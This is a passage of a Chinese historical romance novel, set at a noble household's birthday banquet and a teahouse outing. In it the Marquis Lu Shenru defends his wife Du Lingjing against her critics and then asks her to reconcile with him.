小姑娘连忙形容了一番,但显然他没见到她形容的人,迟疑了一下。 恰这时,有女子呼唤着找了过来。 小姑娘一听就连忙出声回应,女子两步到了她身前,连声责问小姑娘怎么乱跑,“真是让人操心!” 说着,又向小孩子身旁的男人脸上看去,只一眼,那小姑娘的娘亲倒吸了一气。 “指挥使?!” 锦衣卫指挥使,魏玦。 女子一眼看见他,脸色就变了几分,魏玦站起了身来,女子似是察觉自己反应有些明显,不敢再看他,只道,“多谢指挥使照应小女,我们这便走了。” 说完,甚至不等小姑娘再多魏玦道谢一句,拉着女儿快步离了去。 她们正好从杜泠静身侧旁不远处经过,杜泠静隐隐听见她道了一句。 “那可是锦衣卫的指挥使,娘以前怎么教你的,万万离锦衣卫远些……” 女子扯着女儿飞快走远了。 杜泠静却没转身离去,她目光落在魏玦身上,魏玦亦察觉地回身向她看来。 “夫人?” 他微顿,而后跟她客气周道地点了头。 “多年未见。” 算起来,杜泠静跟他十年未见过了。 她上前同他见了礼。 魏玦比从前相貌自是张开了许多,他眉目算是行伍出身中颇为清秀的长相。 他眉形很长,眉尾垂落,他眼眸平和,眸梢亦有些轻垂,肤色偏白。 从前的回忆里,杜泠静总记得他站在日光下手里握着书卷,肤色虽白却亮。 此刻他长身立于树影之中,面色白却泛着淡淡的冷。 饶是如此,也很难将他的模样,与世人恐惧的锦衣卫指挥使联系在一起。 不过杜泠静还不至于害怕他,一来是往日旧识,二来他母亲保国夫人出身陆氏,他与那位侯爷算是表兄弟。 杜泠静当下想到了他从福建回来,替她收来的四部宋本。 她提及这贺礼,“指挥使的贺礼太重了,我亦未曾回礼。” 短时间内收来四部宋本,不仅价值不菲,而且难度只怕也不低。 算起来,她与某位侯爷成婚的消息传去福建,他临时准备喜礼相赠,同时折返回京,拢共没几个月的工夫,一口置办四部宋本岂是易事? 她提起,魏玦跟她淡淡笑了笑,又摇头。 “算不得什么,夫人安心收下即可。” 杜泠静道谢。 她与他之间最大的话题是年嘉,无有年嘉,她不可能与他认识。 但此时年嘉亦在靖安侯府之内,不管是魏玦还是她,都没有提及一字。 他的态度,竟与年嘉不约而同…… 杜泠静只能说起了自己的父亲。 那会年嘉说魏玦最敬重的先生,就是她父亲杜阁老。 他敬重,却晓得自己出身贵勋,不是正儿八经的读书人,不敢拿自己“粗陋”的文章给她父亲看。 年嘉干脆从他书袋里偷了来,然后给了杜泠静,让杜泠静带回家去给父亲看。 父亲自是不在乎这些,给魏玦写的四五篇文章都一一点评,批在一旁。 后来杜泠静听年嘉说,魏玦得了她父亲的点评,刚开始不敢看,后来见她父亲未有一字嫌弃,激动地晚上睡不着觉,第二天在宫里当差,差点脑袋磕在门柱上,年嘉笑了好久…… 这会杜泠静提了自己父亲两句,却见魏玦神色微怔,不知是不是想起了从前的旧事,他没再多言,只跟她温和地笑笑道。 “夫人往里面去吧,魏某去外院寻侯爷。” 他说完,跟她行礼去了。 他从树影中离去,脚步行在日光下几息,又很快转入了阴影里。 或许做了人人惊怕的锦衣卫,便只能如此。 杜泠静莫名觉得他变成了一片影子。 她继续往后面而去,不时寻到了年嘉身边的婢女,婢女道郡主被人叫走了,是另外几位宗室的郡主、郡王妃,杜泠静与她们并不熟识,便就在附近随意走动几步,等年嘉回来。 不想她刚从一段抄手游廊走下来,便遇到一群小姑娘低声说着笑着走过来。 她低头看过去,众人亦都抬头看见了她。 这群小姑娘见了她皆目光一顿,几人目光都不由自主地打量她,但又想到什么,给她让行又规矩行了礼。 永定侯陆侯爷迟迟没娶妻,这便是他等了那么久,才迎娶回府的侯夫人。 “陆侯夫人。” 陆侯夫人抬手让她们不要多礼。 几人却看到了她手上那对晶莹剔透的白玉镯。 方才贺寿礼堂里的事,她们都听说了。 陆侯与夫人姗姗来迟,但今日这位老寿星靖安侯夫人,却把自己出嫁时的白玉镯,径直赠给了陆侯夫人,还让世子夫人帮她直接戴在了手腕上。 先前皇上赐婚的时候,没人看好这位没落文臣门庭的杜氏女,且她也刚从青州来京。 但此时此刻,她立在石阶上的游廊中,她通身素淡却不失华贵,一双靖安侯夫人的白玉镯衬得她腕白如雪。 而要知道,她身后立着的,可是陆侯。 她的夫婿,是永定侯陆慎如。 没人敢在轻看这位陆侯夫人半分。 此刻亦有人从旁走了过来,还没踏入此间,就看到了杜泠静手腕上的白玉镯。 是跟随外祖母前来的杜二姑娘杜润青。 她抬头向姐姐望去,日光恰落在姐姐长眉下浓密的羽睫上,眸中光亮如太液池中的波光。 杜润青愣了一瞬,直到有姑娘轻轻推了她。 旁人也就罢了,规规矩矩地跟陆侯夫人行礼问安。 但杜润青身份略有不同,她虽然出身还不如周围这些京门贵女,但此刻却得上前一步,另外行礼。 “大姐姐。” 杜泠静没想到她也在,跟她点了头叫了她起身。 她们两姐妹说话,旁人都退了去。 抄手游廊下面只剩下姐妹二人。 年后不久,杜泠静便让阮恭催促着她叔父杜致祁离京,仍旧返回那偏远地做官。 她不想让叔父稀里糊涂地,再掺合进京中的波云诡谲之中,没得带累了整个杜家。 而他叔父照旧是自己走了,把妻女都留在了京城。 杜泠静是吩咐了文伯照料,但也没再听过杜润青母女的状况。 这会她问杜润青,“婶娘近来如何?仍住在京郊的庄子上?” 她问来,杜润青不禁又看了她一眼。 她这位大姐,嫁了侯爷已是显赫,却还记挂着澄清坊宅邸,嫁后没多久,就从他父亲手里把澄清坊收了回去。 她和母亲没有澄清坊住,当然只能去住京郊的庄子。 但京外的庄子和京中的宅邸怎么能比?且离京颇远,进京一次都难。 而大姐还把父亲撵走了,又同大伯父一样,丝毫不肯提携父亲半分。 不过就是在侯爷面前一句话的事,她都不肯为父亲说。 父亲一走,她和母亲在京外的日子更是不易。 最后还是外祖母顾念了她和母亲,舅舅也不计前嫌,将她们母女又接到了京城中来。 外祖母跟她道,“你们青州杜家的人,如今都围在你大姐身边,她可不会照应你,你还是跟着外祖母。外祖母保证给你寻一门显赫的亲事,稳稳当当留在京城,做高门贵夫人……” 杜泠静问去,见二妹神色冷淡。 “娘无碍,我眼下住在外祖母处,姐姐不必费心。” 她这态度,引得秋霖都皱了眉头。 杜泠静倒不欲同小姑娘家计较,只是她没想到,姐妹换嫁的事后,万老夫人可没再让人来照看过杜润青半分,怎么这会又把人接回了顾府? 万老夫人行事在她看来多有不妥,杜润青跟着她……杜泠静想了想,不禁道了句。 “你若觉得不便,可以带着婶娘去澄清坊里住。” 澄清坊三路现在都无人住,杜家不是没有宅子,没得让杜家的姑娘一直住在外家。 可她说去,却听二妹嗓音更冷几分。 “姐姐好意心领了,不必了。” 她说完,竟直接行了礼告辞了去。 杜泠静看着她从一旁的门洞转没了身影,听见秋霖不禁道。 “看来万老夫人没少在二姑娘面前说咱们的不是,不过反正是分了家,她们愿意怎样就怎样吧。” 确实如此,杜泠静还能强行约束这位二妹不成?只要她没什么出阁的事,她愿意亲近她外祖母,杜泠静还能怎样? 她摇了摇头,亦转身往旁处而去。 …… 瑞雪紧跟在杜润青身后,此刻见周围没人,不由道。 “姑娘会否,对大姑娘太不客气了?” 她问去,听见自家姑娘道,“她如今是陆侯夫人了。” 那不更应该客气? 但瑞雪见自家姑娘神色落落,晓得她心里恐怕还是忘不掉侯爷。 瑞雪不敢多提,又听姑娘道了句。 “我如今依靠外祖母,外祖母亦待我好,我就是再对大姐客气,她能似外祖母一般疼我待我吗?” 她自问自答,“只怕不能吧。” 话音落地,刚好万老夫人派了人来。 “表姑娘,老夫人请你快过去呢,让您理好衣衫发髻,同一位紧要的贵人请安。” 杜润青万不敢懈怠,连忙让瑞雪帮她仔细看了衣衫发髻,快步就随着丫鬟去了。 她外祖母在一处小院中同人吃茶,她一路过了庭院,进到房中,撩了帘子往上首看去。 只见那处坐着一位五十岁上下的贵妇人。 那贵妇人头戴双凤金钗,身着华贵锦衣,饶是坐在暗淡的室内,通身亦流光溢彩。 她见杜润青进了门,便打量了起来。 杜润青心下微微快跳,向外祖母看去,听见她外祖母唤她。 “愣着做什么?还不上前给保国夫人请安。” 保国夫人,皇上的舅母。 锦衣卫指挥使魏玦的母亲。 而锦衣卫指挥使魏玦,至今还未成亲。 杜润青瞬间明白了她外祖母的意思。 只是,真的能成么? * 靖安侯府花园,杜泠静久等年嘉不来,待又遇见了几位在宫宴上见过的夫人,闲聊了两句,终于见年嘉派了人,邀她往前面的水榭处去。 杜泠静有人引着前往水榭,一路分花拂柳,见靖安侯府今朝真是来了半个京城的人,哪处都有宾客三五成群地闲聊。 这会她便听见有人提及年嘉郡主和她的魏世子魏琮。 显然对比起年嘉,年轻的姑娘太太们对魏琮更感兴趣。 “没见过魏世子,听闻在关外作战令鞑子闻风丧胆,可是虎背熊腰那等大将做派?” 有人连道,“虎背熊腰不至于,但世子确实威风凛凛,我曾有幸得见世子阵前雄姿,确非凡人,日后承忠庆伯爵位,又有无数军功在手,想来威赫更上一层,必是一方封疆大吏。” 她们在猜想魏琮日后威风雄姿,也有人提及了同为魏氏一族出身的魏玦。 “魏氏一族真是能人辈出,指挥使更是不可小觑。皇上如此看重,二十三岁就让他任了锦衣卫指挥使,统领天下锦衣卫缉捕刑名之事,此番从福建回来,更是第一时间进了宫,接着皇上便赏赐了一大堆东西下来,还不知立了怎样的功,总归是令龙心甚悦,那岂是凡人?” 杜泠静左耳朵听着魏琮,右耳朵便听见魏玦。 魏氏一族有他兄弟二人,确实在朝中独一无二。 只是她两只耳朵灌满了魏氏兄弟的赞美之词,还没等往寻到年嘉,却被岔路上走过来的人倏然挡住了去路。 方才满园的人口中的魏大将军和魏指挥使,此刻恰就出现在她面前。 花园中静了一静,杜泠静察觉身后有数不清的目光,都向她身前的人望来。 一个伤势在身、威风不减,另一个眸光静凝、长身玉立。 但此刻魏氏兄弟二人,一左一右地分立在一人身侧。 他今日穿了件,黛色绣万字不断头暗纹锦袍,腰束墨玉带,锦带上系了块墨石佩,日光照得那墨石佩油亮精光,就这么闲闲缀在他腰上。 而他负手立在魏氏兄弟中间,身形高挺不落二人,而他通身气势更胜,两人全然不能夺他半分光芒。 众人的目光亦渐渐聚在他身上。 但他冷着一张傲然的脸,只垂着眼眸往杜泠静身上看来。 杜泠静:“……” 第62章 他冷着一张傲然的脸, 只垂着眼眸往杜泠静身上看来。 杜泠静:“……” 满京城,就他陆侯最厉害,没人支配得了他, 反而要把最紧要的位置,通通让于他来站, 把他想要的, 通通捧到他脸前,皆要被他支配。 但杜泠静偏不惯着他,径直侧过了头去。 她甫一侧过去,便悄然从眼角发现他神色闷沉下来。 杜泠静丝毫不理会, 他抿了唇,接着开口要说什么, 忽的有人从另一条路上快步走过来。 她三步并作两步寻来,待一脚跨入此间,见到杜泠静的同时,亦一看看到了旁边的男人。 是年嘉。 她倏然闯进来, 五人之间的情形便变了一变。 花园里嘀嘀咕咕的话语声, 与叽叽喳喳的鸟鸣, 彻底消散了无影。 年嘉的目光在半空与人不期而遇,多年未有再见, 眸光相遇的瞬间,两人皆顿在原地。 魏玦眸光几不可察地颤了一颤。 杜泠静则看到年嘉定在了当场, 失了神。 直到有人轻轻唤了她一声,“郡主。” 年嘉眼睛睁大了来, 这才看到一旁自己的夫婿魏琮。 “世子。”她应了他一声。 她不再多看魏玦半眼,转回了身去。 魏玦亦收回了目光,眼帘垂落着, 仿佛两人都未曾有那一瞬的相遇与失神。 花园中三三两两的人都默默地向此间打量着。 杜泠静省略那位只会盯她的侯爷,见她左手边的魏琮倒是神色如常,此刻温声问向年嘉。 “郡主是从水榭过来的?” 年嘉神思还没完全收回来,他这一开口,才给年嘉提了醒。 她点头说是,想到自己本是过来寻杜泠静的,她道。 “我邀了侯夫人往水榭赏景。” 杜泠静恰也不想再被人一直盯,她道好,“那便过去吧。” 只不过从眼角瞥见某人似是想跟她说几句话,但见她根本不想理,他只能闷声作罢。 杜泠静却回过头来暗暗好笑,不被他察觉,就同年嘉一道离了去。 水榭此时无人,湖面的荷叶摊成一片片翠绿软毯,或支起高高的竿子仰着头,或就懒散伏在水面上。 年嘉有些失了谈兴,同杜泠静随意说了两句,便趴在窗台上看着荷叶出神。 杜泠静没舍得扰她,由着她在这纷繁复杂的世间关系中,还要片刻的怔忪。 然而两人皆不言,亦无走动,旁人还以为水榭无人。 忽有脚步声渐近,杜泠静闻声往外看去,只见一群上了年岁的夫人们正向这处走来。 当头的妇人头戴双凤金钗,满身雍容华贵,杜泠静看去,她亦看了过来。 竟是保国夫人陆氏。 她身后跟着五六位夫人,其中最是近在她身侧的,不想恰是那万老夫人。 自然她二妹杜润青也在旁。 年嘉这会也转过了身来,她刚同魏玦倏然相遇,没想到转眼又迎面遇上了保国夫人。 杜泠静见保国夫人微微皱了眉,而年嘉则暗暗攥了手中绣帕。 彼时年嘉与魏玦,已经到了谈婚论嫁的地步,但却最终分道扬镳,内里的事恐怕不简单。 而保国夫人已是带了人往水榭走来,自是没有给小辈让道的道理。 杜泠静连忙同年嘉道了一句,“裕王妃是不是寻你来着,别耽搁了,快去吧。” 今日年嘉的母妃裕王妃也来了靖安侯府,杜泠静现寻了借口,支了年嘉离开。 年嘉立时反应了过来,显然保国夫人亦不想与她多言,年嘉匆促给她见礼,她随意点了头,年嘉便要离去。 只是年嘉一步迈出去,又想到杜泠静还在,转身正要把她一起带走,不想保国夫人这次却先开了口,就叫了杜泠静。 “陆侯夫人也在。” 她这意思,是要留杜泠静说话的意思了,杜泠静见走不脱,只能给年嘉使了眼色,让她先去。 然而年嘉走出水榭,脚步又顿了下来。 她不禁又回头看了一眼,见保国夫人身侧几位,都是平素不太好相与的夫人,她们虽然没有杜泠静位高,但却长了辈分,尤其保国夫人近旁就坐着那万老夫人。 万老夫人彼时要把静娘嫁给邵伯举,后又闹出姐妹换家的事情,明摆了欺负静娘是孤女的事情,她可都听说了。 这会年嘉见杜泠静被这群夫人留了下来,不禁皱眉,立刻叫了婢女上前。 “你去告诉陆侯,说他夫人被留在水榭里了。” 婢女听令,快步离去。 * 水榭。 杜泠静先上前给保国夫人行了礼。 保国夫人虽道不必如此客气,但却也让她把这礼数正儿八经行完,才让她落了座。 保国夫人是永定侯府陆氏出身,杜泠静当叫她一声姑母。她更是皇上的舅母,没人敢在她脸前托大。 而厅中其他贵夫人,除了万老夫人她颇为了解之外,其他几人只照过面而已。 这会她二妹杜润青自是不同她多言,跟她见礼就坐了回去。 杜泠静落坐众人之间,莫名地似被隔在了周遭是浪的孤岛上。 窗外的荷香不再吹送近来,水榭气氛微凝。 保国夫人陆氏上下打量了这位堂侄媳两眼。 她原本是有意将小女儿嫁给陆惟石,两人差着年岁其实没什么,但陆氏姐弟完全没有这般意思,她还以为是她的小女尚未及笄,贵妃和陆侯不好提及,不想眼看着女儿要及笄了,陆惟石却娶了这杜家女。 她对这杜氏女,确实谈不上什么喜欢。 不过更紧要的是,她如今与万老夫人走得近了,还有些难办的事情要依靠万老夫人。先前中秋赐婚的事,陆惟石也好,杜氏也罢,可是让万老夫人十足地没脸。 这会,万老夫人就坐在她身边,她少不得要替人家找补些脸面回来。 她见杜泠静安静坐着,还算规矩,自也不过分为难她,只道。 “陆侯夫人平日在家中颇为忙碌?除了宫宴和靖安侯夫人这寿宴,各家的花宴、茶宴、寻常喜宴,可都不见你露面。” 她这话一出,水榭里的众人都不言语了,只看向杜泠静。 京中人都晓得,陆侯为他的新夫人开了那建了六年的高楼藏书,取名归林楼,陆侯夫人时常出城往藏书楼中去。 杜泠静自己当然心知肚明,除了近来她出不去门之外,之前的宴请她确实兴致不大,反而时常奔忙书楼。 但这话她不好回,只能微微低头,听见那位保国夫人又开口,果然提及书楼。 “藏书自是功在后人的事,但却也是读书的男人最该上心的事。你既做了我陆氏的侯夫人,还是把心思放到侯府与外的宴请应酬上来才好。” 这话在京城贵夫人圈子中,还真就挑不出毛病。 杜泠静无可反驳。 可保国夫人却没简单放过了她,这会目光自眼角扫过万老夫人,道了句。 “这做女子最紧要的,便是恭顺不可孤傲。书读多了,人便不免清高自高,以为同圣贤比肩,便高寻常人一等了。殊不知,那诗书只是平白为人添了孤傲之气,尤其是女子,又不能做官讲学,只会徒惹长辈不喜罢了。” 她这些话,可都是万老夫人最喜欢说的话,此刻就照着万老夫人的原话说了杜泠静。 “少读些书,在对长辈面前要恭顺听训,这才是为女之道。你没有婆母在上,少不得我这做姑母地交代你两句,你可听懂了?” 这话真是不客气。 正因着对杜泠静不客气,才算是给万老夫人找补回来些许面子。 在座众人无不心明似镜,没人帮杜泠静出言解围,反而明里暗里提及自家的儿媳侄媳,说起书读得多了,人就不恭顺的话。 保国夫人正是起了头,由着她们“补充”的意思,而她瞧了一眼身侧的万老夫人,果见万老夫人眉目舒展许多。 杜润青看向自己的姐姐,她更不会替大姐出头,此时只是瞧着姐姐被众人的言语围困在中间,忽觉外祖母所言确实有理。 大姐只顾着书山学海、古今文章,侯爷娶她回家,她却连各家的花宴都不为侯爷去,不得夫人们喜欢,反倒还要侯爷为她开楼、出书、为她寻人、又捧着拂党人在朝中复立…… 保国夫人突然点了她的名。 “青姑娘,我说你大姐姐的话,可说错了?” 杜润青连忙起了身,她看了杜泠静一眼,就立时收了回来。 “润青没读过什么书,不敢指摘姐姐,但夫人所言,润青深以为然。” 没人帮衬杜泠静,连她自家的妹妹都这般说。 周围众人暗里的话都翻到了明面上来,就算不对她指名道姓,也无不是说给她听。 万老夫人这才缓缓笑了笑。 杜泠静倒也不恼怒,她会做什么事,要做什么事,并不会因为这些人的指摘而改变。 她跟秋霖默默使了眼色,准备让秋霖给她找个由头离开。 不想就在这时,她熟悉的沉而重的脚步声,忽的踏在了水榭外面。 杜泠静向外看去,杜润青也有所察觉地向外瞧去,一眼瞧见了大步走来的侯爷。 她只见侯爷身后带了魏指挥使,沉着脸色,一步跨入了水榭当中。 他进到水榭,当先向姐姐看了过去,目光上下打量着姐姐无恙,这才转向上首的保国夫人。 保国夫人被他吓了一跳。 “侯爷怎么来了?此间都是女眷。” 保国夫人看见侄儿这张冷脸,心下就跳了一跳,赶紧提醒他来此不妥,最好离开。 但若一句话就能令他离去,他也不会这般闯进来了。 杜泠静不知他怎么突然来了,却见他仿佛根本没听见保国夫人的话,不退不避,反而目光将整个水榭扫了一遍。 方才还明里暗里说杜泠静的人,此刻全都闭上了嘴巴。 杜泠静耳根立刻清静下来,但男人冷沉的目光却未就此停下。 房中气氛压了下来,无有半分荷香飘入,众人皆莫名紧张。 她们不敢去瞧陆侯,也不敢去看陆侯夫人,只能偷偷打量上首的保国夫人和万老夫人。 保国夫人板着脸不再言语,而一旁的万老夫人脸色却白了三分。 众人莫名间都倏忽想起去岁陆侯娶妻的事。 当时有传闻倒是万老夫人想要用自己的外孙女,去换眼前这位陆侯夫人。 谁想此举引得陆侯直接将万老夫人的儿子提了去,人从顺天府提到锦衣卫,待放出来的时候,差点被打死! 陆侯,可从来都不是好惹的人…… 水榭中无人敢出一声。 反倒是陆慎如,这会才似刚听到了方才保国夫人的话。 他淡淡“哦”了一声,“多谢保国夫人提醒。” 他不叫姑母,只叫保国夫人。 保国夫人不禁出了汗,但觉得自己也没做什么出格的事,不就是说了他媳妇两句。 她不由开口想给自己找补些什么,可话还没说,就被自己儿子魏玦一个目光止了回去。 魏玦跟她皱眉摇头。 保国夫人的话被生生止住,陆慎如却开了口。 他淡淡笑了笑。 “诸位夫人请内子在水榭吃茶小坐,陆某先替她道谢了。” 他道,“只不过内子性子内敛沉静,我总怕她在外面受了人欺负,回家也不肯告诉我。” 这话引得杜泠静,抬头看了他一眼。 他则继续道。 “诸位夫人想来也都是爱惜小辈的人,内子性子如此,烦请各位日后替我瞧着些,没得她在外被人欺负了,也不跟我说,没得她半分错处也无,却无端被人指摘吃了亏。” 他笑问众人,“可好?” 杜泠静脸都有些热了。 今后可再没人敢说她半句…… 而众夫人对眼下这情况也都明了起来,见陆侯如此,晓得他还算给众人留了面子,没令人太过难堪,不得不纷纷出声道好。 上首的保国夫人却脸都青了。 万老夫人则低眸不语。陆慎如扫了她一眼,收回了目光。 倒是杜润青愣愣看着侯爷和她姐姐。 侯爷,竟就这般直接为姐姐出头? 一口一个“内子性子沉静内敛”…… 杜润青恍惚。 杜泠静亦不由看向她家中这位侯爷。 男人也低头瞧了她。 正这时,外面有人传话,道是裕王妃派人过来,“请陆侯夫人前去小叙。” 裕王妃正是年嘉的母亲。 如此,杜泠静顺势起了身,某人替她与众人告辞,目光接她离开了水榭。 两步迈出水榭,外面的风都轻快起来。 杜泠静浅浅叹出一气。 路边无人,唯有近旁的一片栀子花香气四溢。 男人低头,细细打量她神色,嗓音低了下来。 “不快了?” 他问来,杜泠静才发觉他目不转睛地打量着她,一直看向她眼睛,看到到底有几分不高兴。 杜泠静其实觉得没什么,这些人与她并不相干,说了什么她也不放在心上。 但她却见他英眉蹙着,明明她未有表现不快,他脸上却隐有焦虑与低沉,一直看着她。 园中忽有风飞旋而来,旋在两人之间。 杜泠静眼前莫名浮现出她在保定山里寻人的那一日。 她给他留了信离开,他却紧跟着奔马追了来。 隔着一片无法一步跨越的山涧,他一眼看住远处的她,便急急唤了她。 “过来!” 声音传不到,她亦无有不妥,但彼时他的神色同眼下甚是相像,他面上是焦虑与低沉,怕她不妥、不安,怕她不快…… “若你不适,我们这就回家。”他道。 宴席还没开始,怎能这就回家?况保国夫人也没能把她怎样。 她摇摇头,说裕王妃请了她过去。 “我去与王妃和年嘉她们一道坐着,你也回去待宴吧。” 她不由跟他软了声。 但他还问,“行么?” 似乎只要她说不行,那么他立刻带她走。 杜泠静可没那么娇气,她可是好不容易出来“放风”的。 但她没拿这话气他,只柔声道。 “行的。我走了。你也去吧。” 她说完跟着裕王妃派来的人转了身,一路往远处去,但却能感觉到身后,有人目光一直紧紧跟着她的脚步,走一步跟一步,直到将她送到转弯处,树丛遮住了他的目光。 * 水榭。 保国夫人道累了,起身往后而去。 此间气氛尴尬,众人自不多言什么,唯有魏玦同他母亲去了外面湖边。 湖边无人,荷叶随波摇动。 “母亲缘何要为难静娘?”魏玦问去。 保国夫人深吸一气吐出来,才道。 “怎么了?我是姑母,她是侄媳,我说她两句,一个两个还都不让了。” 保国夫人说着,想到方才她那堂侄的态度,“陆惟石也是越发对我不敬!” 她还挑剔起了陆慎如,魏玦重重叹气,劝道。 “您就不该惹他。贵妃娘娘都管不了他。” 能治得了他的只怕唯有静娘。 他亦不晓得惟石与静娘从前都发生过什么,但显然静娘可不是皇上圣旨随便指给陆惟石的妻。 他母亲倒好,把静娘留下来训斥。 魏玦不好一味指责自己的寡母,反倒是保国夫人恼了起来。 “那你呢?你也替人家出头。不会是因为杜氏与年嘉是旧识,你心里还放不下年嘉?!” 魏玦怔了一怔。 湖边的清波哒哒拍在岸边的青石上。 保国夫人看向儿子,见他淡淡笑了笑。 “她已嫁给了琮从兄……请娘不要再提旧事,乱了如今的关系。” 他不欲多言,转身要走,但保国夫人却急道。 “那你娶妻行不行?陆惟石都娶妻了……” 但魏玦只是摇了摇头,抬脚离开了湖边。 * 杜泠静之后便跟在了裕王妃身边,又见了兖王妃。 兖王是宗人令,是皇叔,兖王妃自然辈分高,她对杜泠静颇为喜爱,留在身边说了会话。 但年嘉后面宴席心绪明显低落,不怎么说话,直到宴席结束,才叫了杜泠静。 “保国夫人为难你,可能也是我连累了你。” 杜泠静跟她摆了手,年嘉却道,“过几日我再去你府上找你。” 杜泠静道好,安慰了她几句,寿宴结束,宾客陆陆续续离去。 杜泠静到自家马车旁时,某人早早在旁等着她了。 有人围着他说话,他远远看见她过来,便三言两语将围着他的人都打发了去。 他走到她身前来,又上上下下地打量她,见她一根头发丝都没丢,松了口气。 杜泠静走到了马车旁边,他伸手递来。 崇安在旁一眼看见侯爷又伸了手,心里就打鼓。 夫人多半还是不给侯爷这面子的,那么还得他哥去扶夫人上车。 若是一来一回,夫人扶了他哥的手两次,哥的手还要不要了? 崇安偷偷盯着马车旁边的情形。 谁料这次,夫人伸手搭在了侯爷的手上。 崇安张大嘴巴。 马车边,杜泠静没驳某人面子,轻轻搭在了他手上。 男人一怔,低眸看了过来。 下一息,他顿时将她的手,紧紧握在了掌心中。 第63章 杜泠静要上马车, 不是要下马车,他握着她的手不放算怎么回事? 没有这样扶人上车的,杜泠静回头瞥他, 他却扬眉而笑,干脆弃了马, 跟她一起上了车。 到了车上, 他也没松开她的手,杜泠静已经开始后悔搭他了,早知还是崇平…… 马车刚行出了靖安侯府的巷口,他忽的吩咐转道, 往东城去。 杜泠静微微挑眉,他则转身同她柔声道。 “近来枕月楼有祭拜花神的歌舞, 编排得似这么回事,我们过去瞧瞧。” 他先前就提及过带她去枕月楼,她同他不对付,不欲跟他出门, 不想他想要办成的事, 就是绕上十八圈, 也要找到契机。 马车绕过皇城往东城而去,不时停在了枕月楼门前。 他们到的时机是如此的“恰好”, 刚落座在三楼的雅间上,大堂里的鼓乐声便咚咚地响了起来。 杜泠静看了某人一眼, 他明显心绪极佳,不再摆着先前的冷脸, 也去了面上的闷声,接过崇安递来的一碟子茶点,放到了杜泠静手边。 “泉泉尝一尝, 云南那边的做法。” 他道枕月楼的掌柜从云南请了两位茶点师父,“还是沐王府里出来的,同京里的味道不甚相同。” 杜泠静在游记里看见过,却还真没亲尝过,反正都跟他来了枕月楼,没得跟点心过不去,便伸手捏了一个,凑在鼻尖闻了闻,咬了一小口。 他眸色越发和悦起来,他轻声问。 “可口么?” 香不熏人,甜不腻口,杜泠静点了点头,“若配上花酿只怕更好。” 她只是随口道了这一句,他便笑道,“是这个道理。” 话音刚落,外间枕月楼的大掌柜就亲自将温好的一壶花酿送了进来。 大掌柜连番同侯爷与夫人行礼,杜泠静跟人家点头,男人倒是习以为常,随便说了两句,便打发人家掌柜去了。 他只同她说话,“你若觉这花酿不错,我让人带些回府。” 他问她,杜泠静没说行,也没说不行,只是突然想起了年前宫宴吃酒的事情。 彼时在太液池旁,她多吃了一壶竹叶青,是宫人上来的,她也确实有意多吃些酒。 只是待走的时候,他让她在梅林等他。 星光洒在湖面,他快步从拱桥上而来,甫一问道她身上竹酒的气息,便皱了眉。 问她喝这么多竹酒做什么? 那会,他还只是有点不高兴,不许她再吃竹酒。 但后来,她离去又被他捉回这番,窗外一片竹林,她只是多看两眼,他就沉声让人立时换了路。 再到如今,家中但凡与竹相关的,他都让人通通搬走,就差没把后院的竹林也除了。 杜泠静念及此,便又不太想搭理他。 浅饮了两杯花酿,立在栏杆前看了一阵楼下的歌舞,他过来揽了她。 “你看着喜欢的话,可以让她们往家中来唱。” 杜泠静可不爱兴师动众,没理会他的话,男人见她又不言语了,倒也没有不快,又让人上了花茶来,将她手中的花酿小酒盅拿了,给她倒了茶来。 花茶比花酿竟更配点心。父亲在的时候,有学生送过几包自种的花茶给他,那是什么花,杜泠静都不记得了,只记得一口饮下,花香在齿间舌下久久环绕不去。 杜泠静在宴席上吃得不多,这会多吃了两块茶点,饮了一整碗花茶,某人这次没再问,直接吩咐人照原样全部带回家。 论阔绰,无人比得了他。杜泠静暗道。 过了一会,歌舞稍歇,他便叫了她,“走吧。” 眼下天还没黑,日头斜趟在原处的城楼齿缝上,杜泠静原以为他今日要同她在枕月楼吃饭,不想这么快就要把她关回家。 她抿唇不言,男人猜到了她的想法,低声解释。 “澄清坊东路修整好了,让枕月楼把席面送过去,我们今日就在东路里用饭。” 杜泠静闻言,不禁转头看了他一眼。 澄清坊是他从她叔父手里讨回来的,他讨回来之后,便叫宗大总管亲自督工,将扩进来的东路整个修葺一番,与原本的中西两路并在一起。 此事杜泠静初初还问过几次,后来忙于归林楼的便没再管过,没想到他都给她全修好了。 他为她做的,似乎总比她看见的,多得多。 念及此,杜泠静便没再跟他置气,轻轻点了点头。 男人眸色完全和软了下来,目光似将眸中的墨色轻轻落在她身上,他不禁伸手要握住她的手。 但杜泠静却早已料到,在他伸手之前,当先背了手去。 男人在她袖摆下,握了个空,微怔,又低头轻轻笑了一声。 他还要说什么,杜泠静也已经预判了,在他开口之前出了雅间,下了楼去。 身后有他无奈的叹息。 杜泠静想到他素日支配所有,连娘娘的话都不停,此刻不由觉得畅快。 枕月楼的大堂里又扬起了鼓乐声,鼓点咚咚轻快,大掌柜见侯爷与夫人要走,连忙前来相送。 杜泠静赞了几句枕月楼今日的花酿花茶与花饼,大掌柜眉开眼笑地道谢,陆侯令人另外赏了重金。 言下之意,重重有赏! 杜泠静不由从眼角瞧了他一眼,他一下就捉到了她的目光,更捉到了她眸中几不可察的笑意。 那只会说“重重有赏”的红嘴绿鹦哥,自两人争执之后,再没来过正院了…… 男人看出来她的嘲笑,哼笑起来。 杜泠静连忙转过身去,大掌柜则满头雾水,不知侯爷与夫人在打什么哑谜。 但终归不是坏事,也跟着笑起来。 一时竟弄得杜泠静真的要笑了。 她快步往楼梯间处下楼。 谁想步子快了,竟一下踩到了自己的裙摆。 杜泠静身形登时一歪。 可下一息就被人掌心扶住腰间,稳了下来。 他立刻低头向她脚下看去,“崴脚了?!” 话语有种莫名的熟悉。 不好好在杜泠静只是踩了自己的裙摆而已,跟他摇头。 他松了口气,“吓到没?” 陆慎如又问去,见她又摇了摇头,发髻上摇动的簪穗左右晃动。 她今日没戴他给她的那套红珊瑚头面,但这套珍珠头面在此刻昏暗的楼道间,却熠熠生辉。 波动间恰如她长眉之下的水眸,眸色里仿佛还残留着方才笑话他的两分浅笑。 多久,他没见过她这般对他笑了? “泉泉。” 他将她往怀中揽来,低声唤了她的小字。 楼道中的人俱都退没了影。 外面的鼓乐声远远如轻纱一般飘着。 男人近到她脸侧。 “我们和好吧。” 杜泠静顿了顿。 他的气息笼着她,手就握在她腰间,这一刻的动作,与方才那句问语,令杜泠静不由地就想到了她初回京城,第一次踏入枕月楼里。 那天她是来见邵伯举的,却在这楼道间遇见了他。 彼时彼刻,正如此时此刻。 他问她有没有崴了脚,接着便道此间没有什么好人,劝她不要去见邵伯举了。 